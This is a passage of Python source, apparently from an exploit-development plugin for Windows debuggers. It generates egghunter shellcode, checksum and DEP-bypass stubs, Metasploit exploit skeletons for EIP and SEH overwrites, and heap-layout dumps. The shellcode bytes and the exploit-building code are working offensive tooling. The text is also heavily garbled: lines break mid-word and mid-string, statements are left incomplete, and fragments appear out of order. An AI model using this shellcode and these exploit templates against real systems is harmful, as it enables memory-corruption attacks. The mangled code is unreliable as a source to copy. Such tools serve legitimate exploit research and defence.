dbg.log("[+] Read payload file (%d bytes
)" % len(data))
except:
dbg.log("Unable to read file %s" %filena
me, highlight=1)
return
#let's start
egghunter = ""
if not usewow64:
#Basic version of egghunter
dbg.log("[+] Generating traditional 32bit egghun
ter code")
egghunter = ""
egghunter += (
"\x66\x81\xca\xff\x0f"+ #or dx,0xfff
"\x42"+
#INC EDX
"\x52"
#push edx
"\x6a\x02"
#push 2 (NtAccessCheckAndAuditAlarm syscall)
"\x58"
#pop eax
"\xcd\x2e"
#int 0x2e
"\x3c\x05"
#cmp al,5
"\x5a"
#pop edx
"\x74\xef"
#je "or dx,0xfff"
"\xb8"+egg+
#mov eax, egg
"\x8b\xfa"
#mov edi,edx
"\xaf"
#scasd
"\x75\xea"
#jne "inc edx"
"\xaf"
#scasd
"\x75\xe7"
#jne "inc edx"
)
if usewow64:
egghunter = ""
egghunter += (
# 64 stub needed before loop
"\x31\xdb"
#xor ebx,ebx
"\x53"
#push ebx
"\x53"
#push ebx
"\x53"
#push ebx
"\x53"
#push ebx
"\xb3\xc0"
#mov bl,0xc0
# 64 Loop
"\x66\x81\xCA\xFF\x0F"
#OR DX,0FFF
"\x42"
#INC EDX
"\x52"
#PUSH EDX
"\x6A\x26"
#PUSH 26
"\x58"
#POP EAX
"\x33\xC9"
#XOR ECX,ECX
"\x8B\xD4"
#MOV EDX,ESP
"\x64\xff\x13"
#CALL DWORD PTR FS:[ebx]
"\x5e"
#POP ESI
"\x5a"
#POP EDX
"\x3C\x05"
#CMP AL,5
"\x74\xe9"
#JE SHORT
"\xB8"+egg+
#MOV EAX,74303077 w00t
"\x8B\xFA"
#MOV EDI,EDX
"\xAF"
#SCAS DWORD PTR ES:[EDI]
"\x75\xe4"
#JNZ "inc edx"
"\xAF"
#SCAS DWORD PTR ES:[EDI]
"\x75\xe1"
#JNZ "inc edx"
)
if usechecksum:
dbg.log("[+] Generating checksum routine")
extratext = "+ checksum routine"
egg_size = ""
if len(data) < 256:
cmp_reg = "\x80\xf9"
#cmp cl,value
egg_size = hex2bin("%x" % len(data))
offset1 = "\xf7"
offset2 = "\xd3"
elif len(data) < 65536:
cmp_reg = "\x66\x81\xf9"
#cmp cx,
value
#avoid nulls
egg_size_normal = "%04X" % len(data)
while egg_size_normal[0:2] == "00" or eg
g_size_normal[2:4] == "00":
data += "\x90"
egg_size_normal = "%04X" % len(d
ata)
egg_size = hex2bin(egg_size_normal[2:4])
+ hex2bin(egg_size_normal[0:2])
offset1 = "\xf5"
offset2 = "\xd1"
else:
dbg.log("Cannot use checksum code with t
his payload size (way too big)",highlight=1)
return
sum = 0
for byte in data:
sum += ord(byte)
sumstr= toHex(sum)
checksumbyte = sumstr[len(sumstr)-2:len(sumstr)]
egghunter += (
"\x51"
#push ecx
"\x31\xc9"
#xor ecx,ecx
"\x31\xc0"
#xor eax,eax
"\x02\x04\x0f"
#add al,byte [edi+ecx]
"\x41"+
#inc ecx
cmp_reg + egg_size +
#cmp cx/
cl, value
"\x75" + offset1 +
#jnz "add al,byte [edi+ecx]
"\x3a\x04\x39" +
#cmp al,byte [edi+ecx]
"\x59" +
#pop ecx
"\x75" + offset2
#jnz "inc edx"
)
#dep bypass ?
if depmethod != "":
dbg.log("[+] Generating dep bypass routine")
if not depreg in freeregs:
getpointer += "mov " + freeregs[0] +","
+ depreg + "#"
depreg = freeregs[0]
freeregs.remove(depreg)
if depmethod == "copy" or depmethod == "copy_siz
e":
if depdest != "":
if not depdest in freeregs:
getpointer += "mov " + f
reeregs[0] + "," + depdest + "#"
depdest = freeregs[0]
else:
getpc = "\xd9\xee"
# fldz
getpc += "\xd9\x74\xe4\xf4"
# fstenv [esp-0c]
depdest = freeregs[0]
getpc += hex2bin(assemble("pop "
+depdest))
freeregs.remove(depdest)
sizereg = freeregs[0]
if depsize == 0:
# set depsize to payload * 2 if we are u
sing a file
depsize = len(data) * 2
if depmethod == "copy_size":
depsize = len(data)
if depsize == 0:
dbg.log("** Please specify a valid -deps
ize when you are not using -f **",highlight=1)
return
else:
if depsize <= 127:
#simply push it to the stack
getsize = "\x6a" + hex2bin("\\x"
+ toHexByte(depsize))
else:
#can we do it with 16bit reg, no
nulls ?
if depsize <= 65535:
sizeparam = toHex(depsiz
e)[4:8]
getsize = hex2bin(assemb
le("xor "+sizereg+","+sizereg))
if not (sizeparam[0:2] =
= "00" or sizeparam[2:4] == "00"):
#no nulls, hoora
y, write to xX
getsize += regsx
[sizereg][0]+hex2bin("\\x" + sizeparam[2:4] + "\\x" + sizeparam[0:2])
else:
# write the non
null if we can
if len(regsx[siz
ereg]) > 2:
if not (
sizeparam[0:2] == "00"):
# write to xH
getsize += regsx[sizereg][3] + hex2bin("\\x" + sizeparam[0:2])
if not (
sizeparam[2:4] == "00"):
# write to xL
getsize += regsx[sizereg][2] + hex2bin("\\x" + sizeparam[2:4])
else:
#we have
to write the full value to sizereg
blockcnt
= 0
vpsize =
0
blocksiz
e = depsize
while bl
ocksize >= 127:
blocksize = blocksize / 2
blockcnt += 1
if block
cnt > 0:
getsize += addreg[sizereg] + hex2bin("\\x" + toHexByte(blocksize))
vpsize = blocksize
depblockcnt = 0
while depblockcnt < blockcnt:
getsize += hex2bin(assemble("add "+sizereg+","+sizereg))
vpsize += vpsize
depblockcnt += 1
delta = depsize - vpsize
if delta > 0:
getsize += addreg[sizereg] + hex2bin("\\x" + toHexByte(delta))
else:
getsize += addreg[sizereg] + hex2bin("\\x" + toHexByte(depsize))
# finally push
getsize += hex2bin(assem
ble("push "+ sizereg))
else:
dbg.log("** Shellcode si
ze (depsize) is too big",highlight=1)
return
#finish it off
if depmethod == "virtualprotect":
jmppayload = "\x54\x6a\x40"
jmppayload += getsize
jmppayload += hex2bin(assemble("#push ed
i#push edi#push "+depreg+"#ret"))
elif depmethod == "copy":
jmppayload = hex2bin(assemble("push edi\
push "+depdest+"#push "+depdest+"#push "+depreg+"#mov edi,"+depdest+"#ret"))
elif depmethod == "copy_size":
jmppayload += getsize
jmppayload += hex2bin(assemble("push edi
#push "+depdest+"#push " + depdest + "#push "+depreg+"#mov edi,"+depdest+"#ret")
)
#jmp to payload
egghunter += getpc
egghunter += jmppayload
startat = ""
skip = ""
#start at a certain reg ?
if startreg != "":
if startreg != "edx":
startat = hex2bin(assemble("mov edx," +
startreg))
skip = "\xeb\x05"
egghunter = skip + egghunter
#pickup pointer for DEP bypass ?
egghunter = hex2bin(assemble(getpointer)) + egghunter
egghunter = startat + egghunter
silent = oldsilent
#Convert binary to printable hex format
egghunter_hex = toniceHex(egghunter.strip().replace(" ",
""),16)
global ignoremodules
ignoremodules = True
hunterfilename="egghunter.txt"
objegghunterfile = MnLog(hunterfilename)
egghunterfile = objegghunterfile.reset()
dbg.log("[+] Egghunter %s (%d bytes): " % (extratext,len
(egghunter.strip().replace(" ",""))))
dbg.logLines("%s" % egghunter_hex)
objegghunterfile.write("Egghunter " + extratext + ", tag
" + egg + " : ",egghunterfile)
objegghunterfile.write(egghunter_hex,egghunterfile)
if filename == "":
objegghunterfile.write("Put this tag in front of
your shellcode : " + egg + egg,egghunterfile)
else:
dbg.log("[+] Shellcode, with tag : ")
block = "\"" + egg + egg + "\"\n"
cnt = 0
flip = 1
thisline = "\""
while cnt < len(data):
thisline += "\\x%s" % toHexByte(ord(data
[cnt]))
if (flip == 32) or (cnt == len(data)-1):
if cnt == len(data)-1 and checks
umbyte != "":
thisline += "\\x%s" % ch
ecksumbyte
thisline += "\""
flip = 0
block += thisline
block += "\n"
thisline = "\""
cnt += 1
flip += 1
dbg.logLines(block)
objegghunterfile.write("\nShellcode, with tag :\
n",egghunterfile)
objegghunterfile.write(block,egghunterfile)
ignoremodules = False
return
#----- Find MSP ------ #
def procFindMSP(args):
distance = 0
if "distance" in args:
try:
distance = int(args["distance"])
except:
distance = 0
if distance < 0:
dbg.log("** Please provide a positive number as
distance",highlight=1)
return
mspresults = {}
mspresults = goFindMSP(distance,args)
return
def procSuggest(args):
modulecriteria={}
criteria={}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
isEIP = False
isSEH = False
isEIPUnicode = False
isSEHUnicode = False
initialoffsetSEH = 0
initialoffsetEIP = 0
shellcodesizeSEH = 0
shellcodesizeEIP = 0
nullsallowed = True
global
global
global
global
global
ignoremodules
noheader
ptr_to_get
silent
ptr_counter
targetstr = ""
exploitstr = ""
originalauthor = ""
url = ""
#are we attached to an application ?
if dbg.getDebuggedPid() == 0:
dbg.updateLog()
#what options do we have ?
# 0 : pointer
# 1 : offset
# 2 : type
if "registers" in mspresults:
for reg in mspresults["registers"]:
if reg.upper() == "EIP":
isEIP = True
eipval = mspresults["registers"]
[reg][0]
ptrx = MnPointer(eipval)
initialoffsetEIP = mspresults["r
egisters"][reg][1]
# 0 : pointer
# 1 : offset
# 2 : type
# 3 : size
if "seh" in mspresults:
if len(mspresults["seh"]) > 0:
isSEH = True
for seh in mspresults["seh"]:
if mspresults["seh"][seh][2] ==
"unicode":
isSEHUnicode = True
if not isSEHUnicode:
initialoffsetSEH = mspre
sults["seh"][seh][1]
else:
initialoffsetSEH = mspre
sults["seh"][seh][1]
shellcodesizeSEH = mspresults["s
eh"][seh][3]
if isSEH:
ignoremodules = True
noheader = True
exploitfilename_seh="exploit_seh.rb"
objexploitfile_seh = MnLog(exploitfilename_seh)
exploitfile_seh = objexploitfile_seh.reset()
ignoremodules = False
noheader = False
# start building exploit structure
if not isEIP and not isSEH:
dbg.log(" ** Unable to suggest anything useful.
You don't seem to control EIP or SEH ** ",highlight=1)
return
# ask for type of module
if not usecliargs:
dbg.log(" ** Please select a skeleton exploit ty
pe from the dropdown list **",highlight=1)
exploittype = dbg.comboBox("Select msf exploit s
keleton to build :", exploittypes).lower().strip()
if not exploittype in exploittypes:
# 1 : offset
# 2 : size
# 3 : type
eipcriteria = criteria
modulecriteria["aslr"] = False
modulecriteria["rebase"] = False
modulecriteria["os"] = False
jmp_pointers = {}
jmppointer = 0
instrinfo = ""
if isEIPUnicode:
eipcriteria["unicode"] = True
eipcriteria["nonull"] = False
if "registers_to" in mspresults:
for reg in mspresults["registers_to"]:
regsto += reg+","
thissize = mspresults["registers
_to"][reg][2]
thisreg = reg
thisoffset = mspresults["registe
rs_to"][reg][1]
thisregptr = mspresults["registe
rs_to"][reg][0]
if thisoffset < initialoffsetEIP
:
#fix the size, which wil
l end at offset to EIP
thissize = initialoffset
EIP - thisoffset
if thissize > largestsize:
# can we find a jmp to t
hat reg ?
silent = True
ptr_counter = 0
ptr_to_get = 1
jmp_pointers = findJMP(m
odulecriteria,eipcriteria,reg.lower())
if len( jmp_pointers ) =
= 0:
ptr_counter = 0
ptr_to_get = 1
modulecriteria["
os"] = True
jmp_pointers = f
indJMP(modulecriteria,eipcriteria,reg.lower())
modulecriteria["os"] = F
alse
if len( jmp_pointers ) >
0:
largestsize = th
issize
largestreg = thi
sreg
offsetreg = this
offset
regptr = thisreg
ptr
silent = False
regsto = regsto.rstrip(",")
if largestreg == "":
dbg.log("
Payload is referenced by at
least one register (%s), but I couldn't seem to find" % regsto,highlight=1)
dbg.log("
a way to jump to that regis
ter",highlight=1)
else:
#build exploit
for ptrtype in jmp_pointers:
jmppointer = jmp_pointers[ptrtyp
e][0]
instrinfo = ptrtype
break
ptrx = MnPointer(jmppointer)
modname = ptrx.belongsTo()
targetstr = "
'Targets'
=>\n"
targetstr += "
[\n"
targetstr += "
[ '<fill in the
OS/app version here>',\n"
targetstr += "
{\n"
if not isEIPUnicode:
targetstr += "
'Ret
'
=> 0x" + toHex(jmppointer) + ", # " + instrinfo + " - " + modname + "\n"
targetstr += "
'Off
set' => " + str(initialoffsetEIP) + "\n"
else:
origptr = toHex(jmppointer)
#real unicode ?
unicodeptr = ""
transforminfo = ""
if origptr[0] == "0" and origptr
[1] == "0" and origptr[4] == "0" and origptr[5] == "0":
unicodeptr = "\"\\x" + o
rigptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\""
else:
#transform
transform = UnicodeTrans
formInfo(origptr)
transformparts = transfo
rm.split(",")
transformsubparts = tran
sformparts[0].split(" ")
origptr = transformsubpa
rts[len(transformsubparts)-1]
transforminfo = " #unico
de transformed to 0x" + toHex(jmppointer)
unicodeptr = "\"\\x" + o
rigptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\""
targetstr += "
'Ret
'
=> " + unicodeptr + "," + transforminfo + "# " + instrinfo + " - " + modn
ame + "\n"
targetstr += "
'Off
set' => " + str(initialoffsetEIP) + " #Unicode\n"
targetstr += "
targetstr += "
targetstr += "
}\n"
],\n"
],\n"
con
nect_udp\n\n"
if initialoffsetEIP < offsetreg:
# eip is before shellcode
exploitstr += "
buffer = ran
d_text(target['Offset']) \n"
if not isEIPUnicode:
exploitstr += "
buffe
buffe
exploits
buffer << rand_text(" + str(offsetreg - initialoffsetEIP - 4) + ") #
else:
if ((offsetreg -
dbg.logLines(targetstr.replace(" ","
"))
dbg.log("")
dbg.log("Metasploit 'exploit' function :
")
dbg.log("-------------------------------")
dbg.logLines(exploitstr.replace(" ","
"))
#write skeleton
objexploitfile.write(skeletonheader+"\n"
,exploitfile)
objexploitfile.write(skeletoninit+"\n",e
xploitfile)
objexploitfile.write(targetstr,exploitfi
le)
objexploitfile.write(skeletoninit2,explo
itfile)
objexploitfile.write(exploitstr,exploitf
ile)
objexploitfile.write("end",exploitfile)
if isSEH:
dbg.log("[+] Attempting to create payload for SE
H record overwrite...")
sehcriteria = criteria
modulecriteria["safeseh"] = False
modulecriteria["rebase"] = False
modulecriteria["aslr"] = False
modulecriteria["os"] = False
sehptr = 0
instrinfo = ""
if isSEHUnicode:
sehcriteria["unicode"] = True
if "nonull" in sehcriteria:
sehcriteria.pop("nonull")
modulecriteria["safeseh"] = False
#get SEH pointers
silent = True
ptr_counter = 0
ptr_to_get = 1
seh_pointers = findSEH(modulecriteria,sehcriteri
a)
jmpback = False
silent = False
if not isSEHUnicode:
#did we find a pointer ?
if len(seh_pointers) == 0:
#did we try to avoid nulls ?
dbg.log("[+] No non-null pointer
s found, trying 'jump back' layout now...")
if "nonull" in sehcriteria:
if sehcriteria["nonull"]
== True:
sehcriteria.pop(
"nonull")
silent = True
ptr_counter = 0
ptr_to_get = 1
seh_pointers = f
indSEH(modulecriteria,sehcriteria)
silent = False
jmpback = True
if len(seh_pointers) != 0:
for ptrtypes in seh_pointers:
sehptr = seh_pointers[pt
rtypes][0]
instrinfo = ptrtypes
break
else:
if len(seh_pointers) == 0:
sehptr = 0
else:
for ptrtypes in seh_pointers:
sehptr = seh_pointers[pt
rtypes][0]
instrinfo = ptrtypes
break
if sehptr != 0:
ptrx = MnPointer(sehptr)
modname = ptrx.belongsTo()
mixin = ""
if not jmpback:
mixin += "#Don't forget to inclu
de the SEH mixin !\n"
mixin += "include Msf::Exploit::
Seh\n\n"
skeletonheader += " include Msf
::Exploit::Seh\n"
targetstr = "
targetstr += "
targetstr += "
'Targets'
=>\n"
[\n"
[ '<fill in the
origptr = transformsubpa
rts[len(transformsubparts)-1]
transforminfo = " #unico
de transformed to 0x" + toHex(sehptr)
unicodeptr = "\"\\x" + o
rigptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\""
targetstr += "
'Ret
'
=> " + unicodeptr + "," + transforminfo + " # " + instrinfo + " - " + mod
name + "\n"
targetstr += "
'Off
set' => " + str(initialoffsetSEH) + " #Unicode\n"
targetstr += "
}\n"
targetstr += "
],\n"
targetstr += "
],\n"
exploitstr = " def exploit\n\n"
if exploittype.find("network") > -1:
exploitstr += "\n
connect\n\n
"
if not isSEHUnicode:
if not jmpback:
exploitstr += "
buffe
r = rand_text(target['Offset']) #junk\n"
exploitstr += "
buffe
r << generate_seh_record(target.ret)\n"
exploitstr += "
buffe
r << payload.encoded #" + str(shellcodesizeSEH) +" bytes of space\n"
exploitstr += "
# mor
e junk may be needed to trigger the exception\n"
else:
exploitstr += "
jmp_b
ack = Rex::Arch::X86.jmp_short(-payload.encoded.length-5)\n\n"
exploitstr += "
buffe
r = rand_text(target['Offset'] - payload.encoded.length - jmp_back.length) #jun
k\n"
exploitstr += "
buffe
r << payload.encoded\n"
exploitstr += "
buffe
r << jmp_back #jump back to start of payload.encoded\n"
exploitstr += "
buffe
r << '\\xeb\\xf9\\x41\\x41' #nseh, jump back to jmp_back\n"
exploitstr += "
buffe
r << [target.ret].pack('V') #seh\n"
else:
exploitstr += "
nseh = <inser
t 2 bytes that will acts as nseh walkover>\n"
exploitstr += "
align = <inse
rt routine to align a register to begin of payload and jump to it>\n\n"
exploitstr += "
padding = <in
sert bytes to fill space between alignment code and payload>\n\n"
exploitstr += "
# Metasploit
requires double encoding for unicode : Use alpha_xxxx encoder in the payload sec
tion\n"
exploitstr += "
# and then ma
nually encode with unicode inside the exploit section :\n\n"
exploitstr += "
enc = framewo
rk.encoders.create('x86/unicode_mixed')\n\n"
exploitstr += "
register_to_a
lign_to = <fill in the register name you will align to>\n\n"
exploitstr += "
enc.datastore
.import_options_from_hash({ 'BufferRegister' => register_to_align_to })\n\n"
exploitstr += "
unicodepayloa
d = enc.encode(payload.encoded, nil, nil, platform)\n\n"
exploitstr += "
buffer = rand
_text(target['Offset']) #unicode junk\n"
exploitstr += "
buffer << nse
h #Unicode walkover friendly dword\n"
exploitstr += "
buffer << tar
get['Ret'] #Unicode friendly p/p/r\n"
exploitstr += "
buffer << ali
gn\n"
exploitstr += "
buffer << pad
ding\n"
exploitstr += "
buffer << uni
codepayload\n"
if exploittype.find("network") > -1:
exploitstr += "\n
print_statu
s(\"Trying target #{target.name}...\")\n"
exploitstr += "
sock.put(buff
er)\n\n"
exploitstr += "
handler\n"
if exploittype == "fileformat":
exploitstr += "\n
file_create
(buffer)\n\n"
if exploittype.find("network") > -1:
exploitstr += "
disconnect\n\
n"
exploitstr += " end\n"
if mixin != "":
dbg.log("Metasploit 'include' se
ction :")
dbg.log("-----------------------------")
dbg.logLines(mixin)
dbg.log("Metasploit 'Targets' section :"
)
dbg.log("------------------------------"
)
dbg.logLines(targetstr.replace(" ","
"))
dbg.log("")
dbg.log("Metasploit 'exploit' function :
")
dbg.log("-------------------------------")
dbg.logLines(exploitstr.replace(" ","
"))
#write skeleton
objexploitfile_seh.write(skeletonheader+
"\n",exploitfile_seh)
objexploitfile_seh.write(skeletoninit+"\
n",exploitfile_seh)
objexploitfile_seh.write(targetstr,explo
itfile_seh)
objexploitfile_seh.write(skeletoninit2,e
xploitfile_seh)
objexploitfile_seh.write(exploitstr,expl
oitfile_seh)
objexploitfile_seh.write("end",exploitfi
le_seh)
else:
dbg.log("
Unable to suggest a buffer
layout because I couldn't find any good pointers",highlight=1)
return
#-----stacks-----#
def procStacks(args):
stacks = getStacks()
if len(stacks) > 0:
dbg.log("Stacks :")
dbg.log("--------")
for threadid in stacks:
dbg.log("Thread %s : Stack : 0x%s - 0x%s
(size : 0x%s)" % (str(threadid),toHex(stacks[threadid][0]),toHex(stacks[threadi
d][1]),toHex(stacks[threadid][1]-stacks[threadid][0])))
else:
dbg.log("No threads/stacks found !",highlight=1)
return
#------heapstuff-----#
def procHeap(args):
os = dbg.getOsVersion()
heapkey = 0
#first, print list of heaps
allheaps = []
try:
allheaps = dbg.getHeapsAddress()
except:
allheaps = []
dbg.log("Peb : 0x%08x, NtGlobalFlag : 0x%08x" % (dbg.get
PEBAddress(),getNtGlobalFlag()))
dbg.log("Heaps:")
dbg.log("------")
if len(allheaps) > 0:
for heap in allheaps:
segments = getSegmentList(heap)
segmentlist = []
for segment in segments:
segmentlist.append(segment)
if not win7mode:
segmentlist.sort()
segmentinfo = ""
for segment in segmentlist:
segmentinfo = segmentinfo + "0x%
08x" % segment + ","
segmentinfo = segmentinfo.strip(",")
segmentinfo = " : " + segmentinfo
defheap = ""
lfhheap = ""
if heap == getDefaultProcessHeap():
searchtype = ""
if "after" in args:
if type(args["after"]).__name__.lower()
!= "bool":
filterafter = args["after"].repl
ace('"','').replace("'","")
if "v" in args:
showdata = True
if "expand" in args:
expand = True
if "fast" in args:
findvtablesize = False
showdata = False
if searchtype == "" and not "stat" in args:
dbg.log("Please specify a valid searchty
pe -t",highlight=1)
dbg.log("Valid values are :",highlight=1
)
for val in searchtypes:
if val != "blocks":
dbg.log(" %s" % val,hi
ghlight=1)
error = True
if "h" in args and heapbase == 0:
dbg.log("Please specify a valid heap bas
e address -h",highlight=1)
error = True
if "size" in args:
if type(args["size"]).__name__.lower() !
= "bool":
size = args["size"].lower()
if size.startswith("0x"):
minstringlength = hexStr
ToInt(size)
else:
minstringlength = int(si
ze)
else:
dbg.log("Please provide a valid
size -size",highlight=1)
error = True
if "clearcache" in args:
dbg.forgetKnowledge("vtableCache")
dbg.log("[+] vtableCache cleared.")
else:
dbg.log("No heaps found",highlight=1)
return
heap_to_query = []
heapfound = False
if "h" in args:
for heap in allheaps:
if heapbase == heap:
heapfound = True
heap_to_query = [heapbase]
if not heapfound:
error = True
dbg.log("0x%08x is not a valid heap base
address" % heapbase,highlight=1)
else:
#show all heaps
for heap in allheaps:
heap_to_query.append(heap)
if error:
return
else:
statinfo = {}
logfile_b = ""
thislog_b = ""
logfile_l = ""
logfile_l = ""
if searchtype == "chunks" or searchtype == "all"
:
logfile_b = MnLog("heapchunks.txt")
thislog_b = logfile_b.reset()
if searchtype == "layout" or searchtype == "all"
:
logfile_l = MnLog("heaplayout.txt")
thislog_l = logfile_l.reset()
for heapbase in heap_to_query:
mHeap = MnHeap(heapbase)
heapbase_extra = ""
frontendinfo = []
frontendheapptr = 0
frontendheaptype = 0
if win7mode:
heapkey = mHeap.getEncodingKey()
if mHeap.usesLFH():
frontendheaptype = 0x2
heapbase_extra = " [LFH]
"
frontendheapptr = mHeap.
getLFHAddress()
frontendinfo = [frontendheaptype,fronten
dheapptr]
dbg.log("")
dbg.log("[+] Processing heap 0x%08x%s" %
(heapbase,heapbase_extra))
if searchtype == "fea":
if win7mode:
searchtype = "lfh"
else:
searchtype = "lal"
if searchtype == "bea":
searchtype = "freelist"
# LookAsideList
if searchtype == "lal" or (searchtype ==
"all" and not win7mode):
lalindex = 0
if win7mode:
dbg.log(" !! This versio
n of the OS doesn't have a LookAside List !!")
else:
dbg.log("[+] FrontEnd Al
locator : LookAsideList")
dbg.log("[+] Getting Loo
kAsideList for heap 0x%08x" % heapbase)
# do we have a LAL for t
his heap ?
FrontEndHeap = mHeap.get
FrontEndHeap()
if FrontEndHeap > 0:
dbg.log("
Fro
ntEndHeap: 0x%08x" % FrontEndHeap)
fea_lal = mHeap.
getLookAsideList()
dbg.log("
Nr
,flag,data))
if chunksize != expectedsize:
dbg.log("
? **",highlight=True)
"")
else:
dbg.log("[+] No
LookAsideList found for this heap")
dbg.log("")
if searchtype == "lfh" or (searchtype ==
"all" and win7mode):
dbg.log("[+] FrontEnd Allocator
: Low Fragmentation Heap")
dbg.log("
** Not implemented
")
# make sure the freelist is prin
for flentry in t
hisfreelist[flindex]:
freelist
_chunk = thisfreelist[flindex][flentry]
chunksiz
e = freelist_chunk.size * 8
dbg.log(
"
ChunkPtr: 0x%08x, Header: 0x%x bytes, UserPtr: 0x%08x, Flink: 0x%08x, Blin
k: 0x%08x, ChunkSize: 0x%x (%d), Usersize: 0x%x (%d) " % (freelist_chunk.chunkpt
r, freelist_chunk.headersize, freelist_chunk.userptr,freelist_chunk.flink,freeli
st_chunk.blink,chunksize,chunksize,freelist_chunk.usersize,freelist_chunk.usersi
ze))
if flind
ex != 0 and chunksize != (8*flindex):
dbg.log("
tor = 1
if flindex > 1 a
nd int(bitmapstr[flindex]) != flindicator:
dbg.log(
"
** FreeListsInUseBitmap mismatch for index %d! **" % flindex, highlight =
True)
flindex += 1
if searchtype == "layout" or searchtype
== "all":
segments = getSegmentsForHeap(he
apbase)
sortedsegments = []
global vtableCache
# read vtableCache from knowledg
e
vtableCache = dbg.getKnowledge("
vtableCache")
if vtableCache is None:
vtableCache = {}
for seg in segments:
sortedsegments.append(se
g)
if not win7mode:
sortedsegments.sort()
segmentcnt = 0
minstringlen = minstringlength
blockmem = []
nr_filter_matches = 0
vablocks = []
# VirtualAllocdBlocks
vachunks = mHeap.getVirtualAlloc
dBlocks()
infoblocks = {}
infoblocks["segments"] = sorteds
egments
if expand:
infoblocks["virtualalloc
dblocks"] = [vachunks]
thischunk.unused
headersi
ze = thischunk.headersize
flags =
getHeapFlag(thischunk.flag)
userptr
= block + headersize
psize =
thischunk.prevsize * 8
blocksiz
e = thischunk.size * 8
selfsize
= blocksize
usersize
= selfsize - unused
usersize
= blocksize - unused
extratxt
= ""
if infot
ype == "virtualallocdblocks":
selfsize = thischunk.commitsize * 8
blocksize = selfsize
usersize = selfsize - unused
nextblock = thischunk.flink
# read b
lock into memory
blockmem
= dbg.readMemory(block,blocksize)
# first,
find all strings (ascii, unicode and BSTR)
asciistr
ings = {}
unicodes
trings = {}
bstr = {
}
objects
= {}
asciistr
ings = getAllStringOffsets(blockmem,minstringlen)
# determ
ine remaining subsets of the original block
remainin
g = {}
curpos =
0
for stri
ngpos in asciistrings:
if stringpos > curpos:
remaining[curpos] = stringpos - curpos
curpos = asciistrings[stringpos]
if curpo
s < blocksize:
remaining[curpos] = blocksize
# search
for unicode in remaining subsets only - tx for the regex help Turboland !
for rems
tart in remaining:
remend = remaining[remstart]
thisunicodestrings = getAllUnicodeStringOffsets(blockmem[remstart:remend],minstr
inglen,remstart)
# append results to master list
for tus in thisunicodestrings:
unicodestrings[tus] = thisunicodestrings[tus]
# check
each unicode, maybe it's a BSTR
tomove =
[]
for unic
odeoffset in unicodestrings:
delta = unicodeoffset
size = (unicodestrings[unicodeoffset] - unicodeoffset)/2
if delta >= 4:
maybesize = struct.unpack('<L',blockmem[delta-3:delta+1])[0] # it's an offset, r
emember ?
if maybesize == (size*2):
tomove.append(unicodeoffset)
bstr[unicodeoffset] = unicodestrings[unicodeoffset]
for tode
l in tomove:
del unicodestrings[todel]
# get ob
jects too
# find a
ll unique objects
# again,
just store offset
objects
= {}
orderedo
bj = []
if __DEB
UGGERAPP__ == "WinDBG":
nrlines = int(float(blocksize) / 4)
cmd2run = "dds 0x%08x L 0x%x" % ((block + headersize),nrlines)
output = dbg.nativeCommand(cmd2run)
outputlines = output.split("\n")
for line in outputlines:
if line.find("::") > -1 and line.find("vftable") > -1:
parts = line.split(" ")
objconstr = ""
if len(parts) > 3:
objectptr = hexStrToInt(parts[0])
cnt = 2
objectinfo = ""
while cnt < len(parts):
objectinfo += parts[cnt] + " "
cnt += 1
parts2 = line.split("::")
parts2name = ""
pcnt = 0
while pcnt < len(parts2)-1:
parts2name = parts2name + "::" + parts2[pcnt]
pcnt += 1
parts3 = parts2name.split(" ")
if len(parts3) > 3:
objconstr = parts3[3]
if not objectptr in objects:
objects[objectptr-block] = [objectinfo,objconstr]
objsize = 0
if findvtablesize:
if not objconstr in vtableCache:
cmd2run = "u %s::CreateElement L 12" % objconstr
objoutput = dbg.nativeCommand(cmd2run)
if not "HeapAlloc" in objoutput:
cmd2run = "x %s::operator*" % objconstr
oplist = dbg.nativeCommand(cmd2run)
oplines = oplist.split("\n")
oppat = "%s::operator" % objconstr
for opline in oplines:
if oppat in opline and not "del" in opline:
lineparts = opline.split(" ")
cmd2run = "uf %s" % lineparts[0]
objoutput = dbg.nativeCommand(cmd2run)
break
if "HeapAlloc" in objoutput:
objlines = objoutput.split("\n")
lineindex = 0
for objline in objlines:
if "HeapAlloc" in objline:
if lineindex >= 3:
sizeline = objlines[lineindex-3]
if "push" in sizeline:
sizelineparts = sizeline.split("push")
if len(sizelineparts) > 1:
sizevalue = sizelineparts[len(sizelineparts)-1].replace(" ","").replace("h","")
try:
objsize = hexStrToInt(sizevalue)
# adjust allocation granulariy
remainsize = objsize - ((objsize / 8) * 8)
while remainsize != 0:
objsize += 1
remainsize = objsize - ((objsize / 8) * 8)
except:
#print traceback.format_exc()
objsize = 0
break
lineindex += 1
vtableCache[objconstr] = objsize
else:
objsize = vtableCache[objconstr]
# remove
object entries that belong to the same object
allobjec
ts = []
objectst
odelete = []
for optr
in objects:
allobjects.append(optr)
allobjec
ts.sort()
skipunti
l = 0
for optr
in allobjects:
if optr < skipuntil:
objectstodelete.append(optr)
else:
objname = objects[optr][1]
objsize = 0
try:
objsize = vtableCache[objname]
except:
objsize = 0
skipuntil = optr + objsize
# remove
vtable lines that are too close to each other
minvtabl
edistance = 0x0c
prevvnam
e = ""
prevptr
= 0
thisvnam
e = ""
for optr
in allobjects:
thisvname = objects[optr][1]
if thisvname == prevvname and (optr - prevptr) <= minvtabledistance:
if not optr in objectstodelete:
objectstodelete.append(optr)
else:
prevptr = optr
prevvname = thisvname
for vtab
leptr in objectstodelete:
del objects[vtableptr]
for obj
in objects:
orderedobj.append(obj)
for ascs
tring in asciistrings:
orderedobj.append(ascstring)
for unic
odestring in unicodestrings:
orderedobj.append(unicodestring)
for bstr
obj in bstr:
orderedobj.append(bstrobj)
orderedo
bj.sort()
# print
out details for this chunk
chunkpre
fix = ""
fieldnam
e1 = "Usersize"
fieldnam
e2 = "ChunkSize"
if infot
ype == "virtualallocdblocks":
else:
if slackspace >= 0:
if endptr != infoptr:
tolog = " +%04x @ %08x->%08x : %s" % (slackspace,infoptr,endptr,blockinfo)
else:
tolog = " +%04x @ %08x
: %s" % (slackspace,infoptr,blockinfo)
else:
tolog = "
@ %08x
: %s" % (infoptr,blockinfo)
infoblocks["virtualalloc
dblocks"] = [vachunks]
for infotype in infoblocks:
heapdata = infoblocks[in
fotype]
for thisdata in heapdata
:
tolog = ""
if infotype == "
segments":
# 0 : se
gmentstart
# 1 : se
gmentend
# 2 : fi
rstentry
# 3 : la
stentry
seg = th
isdata
segstart
